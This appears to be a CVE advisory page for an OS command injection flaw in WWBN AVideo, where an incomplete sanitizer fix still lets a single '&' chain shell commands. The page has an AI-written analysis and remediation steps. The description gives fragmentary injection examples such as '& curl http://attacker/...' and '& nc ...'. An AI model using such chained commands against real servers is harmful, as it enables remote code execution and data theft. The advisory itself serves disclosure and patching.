CVE-2026-55173

AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink

Published Jul 16, 2026 CVSS 3.1 · 8.1 High EPSS 2.7% KEV · Not listed
Description
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

Analysis

AI-generated

Technical impact

The AVideo project contains a function sanitizeFFmpegCommand() that is intended to strip dangerous shell metacharacters from commands that the encoder will run. A recent update added a denylist that omitted the single ampersand '&' – the shell background operator. Because the background operator was not neutralised, an attacker who can supply an encrypted payload that decrypts into a command string containing '&' can cause the server to execute arbitrary shell commands via execAsync() with a sh -c sink. The flaw also permits chaining multiple commands separated by '&', enabling more destructive actions such as code deployment and data exfiltration. The vulnerability remains in all released versions up through 29.0; the commit identified by c1cfa2bea8a351a1d07f5758f82887403e3abf1f corrects this by adding the ampersand to the denylist and removing "&&".

Affected Systems

All publicly released builds of WWBN AVideo version 29.0 and earlier are affected. The issue arises specifically in the ffmpeg.json.php endpoint where encrypted payloads are processed, so any deployment that exposes this endpoint without applying the patch remains vulnerable.

Risk and Exploitability

The CVSS score of 8.1 classifies the vulnerability as high severity, while an EPSS score of 3% indicates a low overall probability of exploitation for the broader attack population. The issue is not currently listed in CISA’s KEV catalog, but its remote nature means that an attacker who can craft a valid encrypted payload could achieve arbitrary command execution, potentially affecting the entire encoder server. No publicly available exploit has been reported; however, the ability to chain commands via '&' introduces significant risk for persistence, data exfiltration, or other malicious payloads.

Remediation

No solution or workaround provided in the CVE record.

OpenCVE Recommended Actions

  • Update AVideo to the latest version that includes commit c1cfa2bea8a351a1d07f5758f82887403e3abf1f, or apply that commit manually to sanitizeFFmpegCommand to add "&" to the denylist (this is the official CNA fix),
  • Restrict access to the ffmpeg.json.php endpoint so that only trusted users can submit encrypted payloads, or disable the standalone encoder API if it is not required; this limits the potential attack surface in line with CWE‑78 mitigations for command injection
  • Add an additional sanitization layer that explicitly removes any remaining "&" characters or other shell metacharacters before the command is passed to execAsync(), ensuring that even if future changes re‑introduce similar issues, the execution path remains protected against CWE‑78 vulnerabilities

Generated by OpenCVE AI on August 24, 2026 at 16:53 UTC.

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
Github GHSA Github GHSA GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
History
Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'poc', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Type Values Removed Values Added
First Time appeared Wwbn
Wwbn avideo
Vendors & Products Wwbn
Wwbn avideo
Type Values Removed Values Added
Description WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
Title AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Weaknesses CWE-78
References
Metrics cvssV3_1

{'score': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H'}

Weaknesses
  • CWE-78

    Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Sources

Status
PUBLISHED
Assigner
GitHub_M
Published
Updated
Jul 17, 2026, 1:44 PM
Reserved
Jun 16, 2026, 3:20 PM
Status
Deferred
Published
Jul 16, 2026, 9:17 PM
Modified
Oct 24, 2026, 8:10 PM